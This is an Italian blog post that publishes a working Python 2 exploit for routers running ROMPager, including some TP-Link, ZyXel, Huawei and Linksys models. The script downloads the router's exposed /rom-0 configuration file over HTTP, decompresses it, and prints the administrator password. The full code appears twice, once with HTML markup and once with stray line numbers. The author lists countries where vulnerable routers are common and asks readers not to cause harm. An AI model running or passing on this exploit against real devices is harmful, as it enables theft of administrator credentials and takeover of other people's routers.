Hacking dei router che utilizzano ROMPager completamente da remoto

Gran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l’ip del router come parametro di tirare fuori la password instantaneamente

import os
import sys
from struct import <b>*</b>
import urllib2
 
###########################################################<b>###</b>
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011  Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#
###########################################################<b>###</b>
 
import collections
 
<b>class</b> BitReader:
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and permits to extract
    bits one by one like a stream
    """
    <b>def</b> <b>__init__</b>(self, bytes):
        self._bits <b>=</b> collections.deque()
 
        <b>for</b> byte <b>in</b> bytes:
            byte <b>=</b> ord(byte)
            <b>for</b> n <b>in</b> xrange(8):
                self._bits.append(bool((byte <b>&gt;&gt;</b> (7<b>-</b>n)) <b>&amp;</b> 1))
 
    <b>def</b> getBit(self):
        <b>return</b> self._bits.popleft()
 
    <b>def</b> getBits(self, num):
        res <b>=</b> 0
        <b>for</b> i <b>in</b> xrange(num):
            res <b>+=</b> self.getBit() <b>&lt;&lt;</b> num<b>-</b>1<b>-</b>i
        <b>return</b> res
 
    <b>def</b> getByte(self):
        <b>return</b> self.getBits(8)
 
    <b>def</b> <b>__len__</b>(self):
        <b>return</b> len(self._bits)
 
<b>class</b> RingList:
    """
    When the list is full, for every item appended
    the older is removed
    """
    <b>def</b> <b>__init__</b>(self, length):
        self.__data__ <b>=</b> collections.deque()
        self.__full__ <b>=</b> False
        self.__max__ <b>=</b> length
 
    <b>def</b> append(self, x):
        <b>if</b> self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        <b>if</b> self.size() <b>==</b> self.__max__:
            self.__full__ <b>=</b> True
 
    <b>def</b> get(self):
        <b>return</b> self.__data__
 
    <b>def</b> size(self):
        <b>return</b> len(self.__data__)
 
    <b>def</b> maxsize(self):
        <b>return</b> self.__max__
 
    <b>def</b> <b>__getitem__</b>(self, n):
        <b>if</b> n <b>&gt;=</b> self.size():
            <b>return</b> None
        <b>return</b> self.__data__[n]
 
<b>def</b> LZSDecompress(data, window <b>=</b> RingList(2048)):
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and an optional
    pre-populated dictionary; return the decompressed
    string and the final dictionary
    """
    reader <b>=</b> BitReader(data)
    result <b>=</b> ''
 
    <b>while</b> True:
        bit <b>=</b> reader.getBit()
        <b>if</b> <b>not</b> bit:
            char <b>=</b> reader.getByte()
            result <b>+=</b> chr(char)
            window.append(char)
        <b>else</b>:
            bit <b>=</b> reader.getBit()
            <b>if</b> bit:
                offset <b>=</b> reader.getBits(7)
                <b>if</b> offset <b>==</b> 0:
                    # EOF
                    <b>break</b>
            <b>else</b>:
                offset <b>=</b> reader.getBits(11)
 
            lenField <b>=</b> reader.getBits(2)
            <b>if</b> lenField <b>&lt;</b> 3:
                lenght <b>=</b> lenField <b>+</b> 2
            <b>else</b>:
                lenField <b>&lt;&lt;=</b> 2
                lenField <b>+=</b> reader.getBits(2)
                <b>if</b> lenField <b>&lt;</b> 15:
                    lenght <b>=</b> (lenField <b>&amp;</b> 0x0f) <b>+</b> 5
                <b>else</b>:
                    lenCounter <b>=</b> 0
                    lenField <b>=</b> reader.getBits(4)
                    <b>while</b> lenField <b>==</b> 15:
                        lenField <b>=</b> reader.getBits(4)
                        lenCounter <b>+=</b> 1
                    lenght <b>=</b> 15<b>*</b>lenCounter <b>+</b> 8 <b>+</b> lenField
 
            <b>for</b> i <b>in</b> xrange(lenght):
                char <b>=</b> window[<b>-</b>offset]
                result <b>+=</b> chr(char)
                window.append(char)
 
    <b>return</b> result, window


<b>class</b> Object:
  <b>def</b> <b>__init__</b>(self,blockdata,data):
    self.name <b>=</b> data[:14].strip("x00")
    self.uncompsize <b>=</b> unpack("&gt;H",data[14:16])[0]
    self.compsize <b>=</b> unpack("&gt;H",data[16:18])[0]
    self.offset <b>=</b> unpack("&gt;H",data[18:20])[0]
    print "Object",self.name ,self.uncompsize,self.compsize,self.offset
    self.data <b>=</b> blockdata[self.offset:self.offset<b>+</b>self.compsize]
    #print [self.data]
    <b>if</b> self.name <b>==</b> "spt.dat":
      data2 <b>=</b> self.data
      self.data <b>=</b> ""
      index <b>=</b> 12
      <b>while</b> index <b>&lt;</b> self.uncompsize:
        orgsize <b>=</b> unpack("&gt;H",data2[index:index<b>+</b>2])[0]
        rawsize <b>=</b> unpack("&gt;H",data2[index<b>+</b>2:index<b>+</b>4])[0]
        #print orgsize,rawsize
        self.data <b>+=</b> LZSDecompress(data2[index<b>+</b>4:index<b>+</b>4<b>+</b>rawsize])[0]
        index <b>+=</b> rawsize
      print "Password:",self.data[20:].split("x00")[0]
<b>class</b> Block:
  <b>def</b> <b>__init__</b>(self,data):
    self.blocknumber <b>=</b> ord(data[0])
    self.unk1 <b>=</b> ord(data[1])
    self.objectcount <b>=</b> unpack("&gt;H",data[2:4])[0]
    self.blocklength <b>=</b> unpack("&gt;H",data[4:6])[0]
    print "Block:",self.blocknumber , self.objectcount , self.blocklength
    self.objects <b>=</b> []
    <b>for</b> i <b>in</b> range(0,self.objectcount):
      self.objects.append(Object(data,data[6<b>+</b>20<b>*</b>i:]))
blocks <b>=</b> []
f <b>=</b> urllib2.urlopen("http://%s/rom-0"<b>%</b>sys.argv[1])
# = open(sys.argv[1],"rb")
d <b>=</b> f.read()
mem <b>=</b> Block(d[0x0:])
a <b>=</b> Block(d[0x2000:])

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

import os

import sys

from struct import *

import urllib2

##############################################################

# Lempel-Ziv-Stac decompression

# BitReader and RingList classes

# filosottile.wiki gmail.com - www.pytux.it

# This program is free software: you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by

# the Free Software Foundation, either version 3 of the License, or

# (at your option) any later version.

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License

# along with this program. If not, see <http://www.gnu.org/licenses/>.

##############################################################

import collections

class BitReader:

"""

Gets a string or a iterable of chars (also mmap)

representing bytes (ord) and permits to extract

bits one by one like a stream

"""

def __init__(self, bytes):

self._bits = collections.deque()

for byte in bytes:

byte = ord(byte)

for n in xrange(8):

self._bits.append(bool((byte >> (7-n)) & 1))

def getBit(self):

return self._bits.popleft()

def getBits(self, num):

res = 0

for i in xrange(num):

res += self.getBit() << num-1-i

return res

def getByte(self):

return self.getBits(8)

def __len__(self):

return len(self._bits)

class RingList:

"""

When the list is full, for every item appended

the older is removed

"""

def __init__(self, length):

self.__data__ = collections.deque()

self.__full__ = False

self.__max__ = length

def append(self, x):

if self.__full__:

self.__data__.popleft()

self.__data__.append(x)

if self.size() == self.__max__:

self.__full__ = True

def get(self):

return self.__data__

def size(self):

return len(self.__data__)

def maxsize(self):

return self.__max__

def __getitem__(self, n):

if n >= self.size():

return None

return self.__data__[n]

def LZSDecompress(data, window = RingList(2048)):

"""

Gets a string or a iterable of chars (also mmap)

representing bytes (ord) and an optional

pre-populated dictionary; return the decompressed

string and the final dictionary

"""

reader = BitReader(data)

result = ''

while True:

bit = reader.getBit()

if not bit:

char = reader.getByte()

result += chr(char)

window.append(char)

else:

bit = reader.getBit()

if bit:

offset = reader.getBits(7)

if offset == 0:

# EOF

break

else:

offset = reader.getBits(11)

lenField = reader.getBits(2)

if lenField < 3:

lenght = lenField + 2

else:

lenField <<= 2

lenField += reader.getBits(2)

if lenField < 15:

lenght = (lenField & 0x0f) + 5

else:

lenCounter = 0

lenField = reader.getBits(4)

while lenField == 15:

lenField = reader.getBits(4)

lenCounter += 1

lenght = 15*lenCounter + 8 + lenField

for i in xrange(lenght):

char = window[-offset]

result += chr(char)

window.append(char)

return result, window

class Object:

def __init__(self,blockdata,data):

self.name = data[:14].strip("x00")

self.uncompsize = unpack(">H",data[14:16])[0]

self.compsize = unpack(">H",data[16:18])[0]

self.offset = unpack(">H",data[18:20])[0]

print "Object",self.name ,self.uncompsize,self.compsize,self.offset

self.data = blockdata[self.offset:self.offset+self.compsize]

#print [self.data]

if self.name == "spt.dat":

data2 = self.data

self.data = ""

index = 12

while index < self.uncompsize:

orgsize = unpack(">H",data2[index:index+2])[0]

rawsize = unpack(">H",data2[index+2:index+4])[0]

#print orgsize,rawsize

self.data += LZSDecompress(data2[index+4:index+4+rawsize])[0]

index += rawsize

print "Password:",self.data[20:].split("x00")[0]

class Block:

def __init__(self,data):

self.blocknumber = ord(data[0])

self.unk1 = ord(data[1])

self.objectcount = unpack(">H",data[2:4])[0]

self.blocklength = unpack(">H",data[4:6])[0]

print "Block:",self.blocknumber , self.objectcount , self.blocklength

self.objects = []

for i in range(0,self.objectcount):

self.objects.append(Object(data,data[6+20*i:]))

blocks = []

f = urllib2.urlopen("http://%s/rom-0"%sys.argv[1])

# = open(sys.argv[1],"rb")

d = f.read()

mem = Block(d[0x0:])

a = Block(d[0x2000:])

Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, Brasile, Albania.
Per favore comunque evitate di farci danni con questo script, è un exploit vecchio di circa 1 anno e mezzo che trovai in seguito ad un attacco DDoS subito su un server privato di world of warcraft , e che nonostante abbia segnalato agli ISP è stato del tutto ignorato.
Lo posto solo ora perché ho visto che ci ha già pensato un altro a scoperchiare il vaso di pandora , solo che ha fatto il furbo , ed ha nascosto tutta la parte per decodificare il file rom-0 che io includo invece qui

Leave a Comment Cancel reply